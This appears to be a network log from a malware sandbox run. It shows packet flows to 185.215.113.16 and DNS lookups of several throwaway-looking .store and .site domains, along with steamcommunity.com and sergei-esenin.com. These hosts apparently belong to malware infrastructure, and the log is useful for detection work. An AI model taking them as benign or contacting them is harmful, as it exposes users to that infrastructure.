Oct 24, 2024 19:30:20.193062067 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193063974 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.193073034 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193083048 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193094969 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193105936 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193111897 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.193118095 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193130016 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193140984 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.193145990 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.193178892 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195022106 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195035934 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195046902 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195067883 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195069075 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195077896 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195090055 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195102930 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195113897 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195142984 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195147991 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195154905 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195166111 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195175886 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195190907 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195198059 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195208073 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195219040 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195219994 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195236921 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195276976 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195303917 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195323944 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195336103 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195347071 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195348024 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195358992 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195369005 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195370913 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195383072 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195394993 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195405006 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195419073 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195420027 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195430040 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195440054 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195441008 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195452929 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195488930 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195636988 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195647001 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195660114 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195672989 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195684910 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195684910 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195698023 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195703983 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195708990 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195720911 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195733070 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195741892 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195744038 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195754051 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195765018 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195774078 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195787907 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195797920 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195799112 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195811033 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195822001 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195822954 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195833921 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195844889 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195847988 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195858002 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195869923 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195879936 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195892096 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195892096 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195902109 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195914984 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195919991 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195924997 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195939064 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195950031 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.195954084 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.195988894 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196244955 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196254015 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196264029 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196274996 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196285963 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196296930 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196297884 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196307898 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196327925 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196336031 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196340084 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196350098 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196362972 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196374893 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196376085 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196384907 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196396112 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196396112 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196408033 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196419001 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196419954 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196429968 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196440935 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196440935 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196451902 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196461916 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196463108 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196474075 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196485043 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196495056 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196495056 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196532965 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196572065 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196583033 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196594000 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196604967 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196613073 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196615934 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196633101 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196633101 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196645021 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196655035 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196661949 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196666002 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196679115 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196691990 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196727037 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196733952 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196743965 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196757078 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196767092 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196778059 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196780920 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196794987 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196806908 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196809053 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196816921 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196820021 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196829081 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196839094 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196855068 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196856022 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196901083 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.196938038 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196958065 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196968079 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196980000 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196990967 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.196999073 CEST	49999	80	192.168.2.5	185.215.113.16
Oct 24, 2024 19:30:20.197002888 CEST	80	49999	185.215.113.16	192.168.2.5
Oct 24, 2024 19:30:20.197016001 CEST	49999	80	192.168.2.5	185.215.113.16

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 24, 2024 19:29:08.436261892 CEST	192.168.2.5	1.1.1.1	0x9d21	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.456125975 CEST	192.168.2.5	1.1.1.1	0x4317	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.469316006 CEST	192.168.2.5	1.1.1.1	0xcf56	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.481956959 CEST	192.168.2.5	1.1.1.1	0xf89e	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.495747089 CEST	192.168.2.5	1.1.1.1	0xe8e7	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.506439924 CEST	192.168.2.5	1.1.1.1	0x6caa	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.517380953 CEST	192.168.2.5	1.1.1.1	0x721f	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.530869007 CEST	192.168.2.5	1.1.1.1	0xfa5f	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.546235085 CEST	192.168.2.5	1.1.1.1	0x5268	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:10.193202972 CEST	192.168.2.5	1.1.1.1	0x9c8f	Standard query (0)	sergei-esenin.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.740740061 CEST	192.168.2.5	1.1.1.1	0x2722	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.757322073 CEST	192.168.2.5	1.1.1.1	0x916b	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.769912004 CEST	192.168.2.5	1.1.1.1	0x77d3	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.782876968 CEST	192.168.2.5	1.1.1.1	0x9903	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.794814110 CEST	192.168.2.5	1.1.1.1	0x9b26	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.806744099 CEST	192.168.2.5	1.1.1.1	0xd7a2	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.820004940 CEST	192.168.2.5	1.1.1.1	0x3301	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.832448006 CEST	192.168.2.5	1.1.1.1	0x9653	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:12.845930099 CEST	192.168.2.5	1.1.1.1	0x37ca	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.840890884 CEST	192.168.2.5	1.1.1.1	0x31cf	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.853039026 CEST	192.168.2.5	1.1.1.1	0x5e0e	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.871869087 CEST	192.168.2.5	1.1.1.1	0xd6c5	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.886921883 CEST	192.168.2.5	1.1.1.1	0x3fdc	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.901041985 CEST	192.168.2.5	1.1.1.1	0x1d61	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.914832115 CEST	192.168.2.5	1.1.1.1	0x5138	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.928283930 CEST	192.168.2.5	1.1.1.1	0xb1f	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.945127010 CEST	192.168.2.5	1.1.1.1	0x1364	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:27.961014986 CEST	192.168.2.5	1.1.1.1	0xad18	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:29.582454920 CEST	192.168.2.5	1.1.1.1	0x899e	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:30.569134951 CEST	192.168.2.5	1.1.1.1	0x8727	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:30:31.122117043 CEST	192.168.2.5	1.1.1.1	0xde0e	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.122812033 CEST	192.168.2.5	1.1.1.1	0xfbb3	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.162525892 CEST	192.168.2.5	1.1.1.1	0xe8c4	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.165263891 CEST	192.168.2.5	1.1.1.1	0xc758	Standard query (0)	youtube.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:31.172616005 CEST	192.168.2.5	1.1.1.1	0xead9	Standard query (0)	prod.detectportal.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:30:31.174628019 CEST	192.168.2.5	1.1.1.1	0xa1c9	Standard query (0)	youtube.com	28	IN (0x0001)	false
Oct 24, 2024 19:30:34.163358927 CEST	192.168.2.5	1.1.1.1	0x416c	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.164525032 CEST	192.168.2.5	1.1.1.1	0xd2b	Standard query (0)	example.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.177491903 CEST	192.168.2.5	1.1.1.1	0x11b3	Standard query (0)	ipv4only.arpa	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.187849045 CEST	192.168.2.5	1.1.1.1	0x4a2d	Standard query (0)	contile.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.205339909 CEST	192.168.2.5	1.1.1.1	0xf8a	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 19:30:34.234611988 CEST	192.168.2.5	1.1.1.1	0x4aae	Standard query (0)	spocs.getpocket.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.243740082 CEST	192.168.2.5	1.1.1.1	0x49c6	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.282789946 CEST	192.168.2.5	1.1.1.1	0xd3b3	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.283401966 CEST	192.168.2.5	1.1.1.1	0x2be9	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.308084965 CEST	192.168.2.5	1.1.1.1	0x2825	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:30:34.325545073 CEST	192.168.2.5	1.1.1.1	0x8134	Standard query (0)	content-signature-2.cdn.mozilla.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.354263067 CEST	192.168.2.5	1.1.1.1	0xca6	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:30:34.355113029 CEST	192.168.2.5	1.1.1.1	0x5c41	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:34.422810078 CEST	192.168.2.5	1.1.1.1	0xb738	Standard query (0)	prod.content-signature-chains.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:30:36.903364897 CEST	192.168.2.5	1.1.1.1	0x6158	Standard query (0)	shavar.services.mozilla.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:37.163719893 CEST	192.168.2.5	1.1.1.1	0x8b01	Standard query (0)	support.mozilla.org	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:37.173134089 CEST	192.168.2.5	1.1.1.1	0x10e6	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:30:37.182357073 CEST	192.168.2.5	1.1.1.1	0x8cc4	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:01.088361025 CEST	192.168.2.5	1.1.1.1	0x37c4	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 19:31:01.118545055 CEST	192.168.2.5	1.1.1.1	0x935a	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:01.155925989 CEST	192.168.2.5	1.1.1.1	0x3e55	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:01.276329041 CEST	192.168.2.5	1.1.1.1	0x1c13	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:01.635951996 CEST	192.168.2.5	1.1.1.1	0xb02f	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.670990944 CEST	192.168.2.5	1.1.1.1	0xb02f	Standard query (0)	clearancek.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.910123110 CEST	192.168.2.5	1.1.1.1	0x745e	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.939774990 CEST	192.168.2.5	1.1.1.1	0x9e3e	Standard query (0)	mobbipenju.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.954176903 CEST	192.168.2.5	1.1.1.1	0x3fa	Standard query (0)	eaglepawnoy.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.965735912 CEST	192.168.2.5	1.1.1.1	0xd295	Standard query (0)	dissapoiznw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.981525898 CEST	192.168.2.5	1.1.1.1	0x75ab	Standard query (0)	studennotediw.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:01.994570017 CEST	192.168.2.5	1.1.1.1	0x6a27	Standard query (0)	bathdoomgaz.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.009653091 CEST	192.168.2.5	1.1.1.1	0x1d18	Standard query (0)	spirittunek.store	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.027425051 CEST	192.168.2.5	1.1.1.1	0xf9e	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.056703091 CEST	192.168.2.5	1.1.1.1	0xf9e	Standard query (0)	licendfilteo.site	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:02.072138071 CEST	192.168.2.5	1.1.1.1	0x99a0	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:04.151484966 CEST	192.168.2.5	1.1.1.1	0x7dde	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.541238070 CEST	192.168.2.5	1.1.1.1	0x9de7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.559411049 CEST	192.168.2.5	1.1.1.1	0x9de7	Standard query (0)	prod.classify-client.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.746993065 CEST	192.168.2.5	1.1.1.1	0xda68	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.763896942 CEST	192.168.2.5	1.1.1.1	0x96aa	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.775700092 CEST	192.168.2.5	1.1.1.1	0xda68	Standard query (0)	contile.services.mozilla.com	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.801717043 CEST	192.168.2.5	1.1.1.1	0x96aa	Standard query (0)	prod.ads.prod.webservices.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:17.867965937 CEST	192.168.2.5	1.1.1.1	0x7a06	Standard query (0)	prod.balrog.prod.cloudops.mozgcp.net	28	IN (0x0001)	false
Oct 24, 2024 19:31:19.744692087 CEST	192.168.2.5	1.1.1.1	0x613d	Standard query (0)	detectportal.firefox.com	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:31:20.803945065 CEST	192.168.2.5	1.1.1.1	0xfa53	Standard query (0)	us-west1.prod.sumo.prod.webservices.mozgcp.net	28	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 24, 2024 19:29:08.447273970 CEST	1.1.1.1	192.168.2.5	0x9d21	Name error (3)	clearancek.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.466448069 CEST	1.1.1.1	192.168.2.5	0x4317	Name error (3)	mobbipenju.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.479207993 CEST	1.1.1.1	192.168.2.5	0xcf56	Name error (3)	eaglepawnoy.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.494481087 CEST	1.1.1.1	192.168.2.5	0xf89e	Name error (3)	dissapoiznw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.505203962 CEST	1.1.1.1	192.168.2.5	0xe8e7	Name error (3)	studennotediw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.516380072 CEST	1.1.1.1	192.168.2.5	0x6caa	Name error (3)	bathdoomgaz.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.528482914 CEST	1.1.1.1	192.168.2.5	0x721f	Name error (3)	spirittunek.store	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.541435957 CEST	1.1.1.1	192.168.2.5	0xfa5f	Name error (3)	licendfilteo.site	none	none	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:08.555682898 CEST	1.1.1.1	192.168.2.5	0x5268	No error (0)	steamcommunity.com		104.102.49.254	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:10.203599930 CEST	1.1.1.1	192.168.2.5	0x9c8f	No error (0)	sergei-esenin.com		104.21.53.8	A (IP address)	IN (0x0001)	false
Oct 24, 2024 19:29:10.203599930 CEST	1.1.1.1	192.168.2.5	0x9c8f	No error (0)	sergei-esenin.com		172.67.206.204	A (IP address)	IN (0x0001)	false
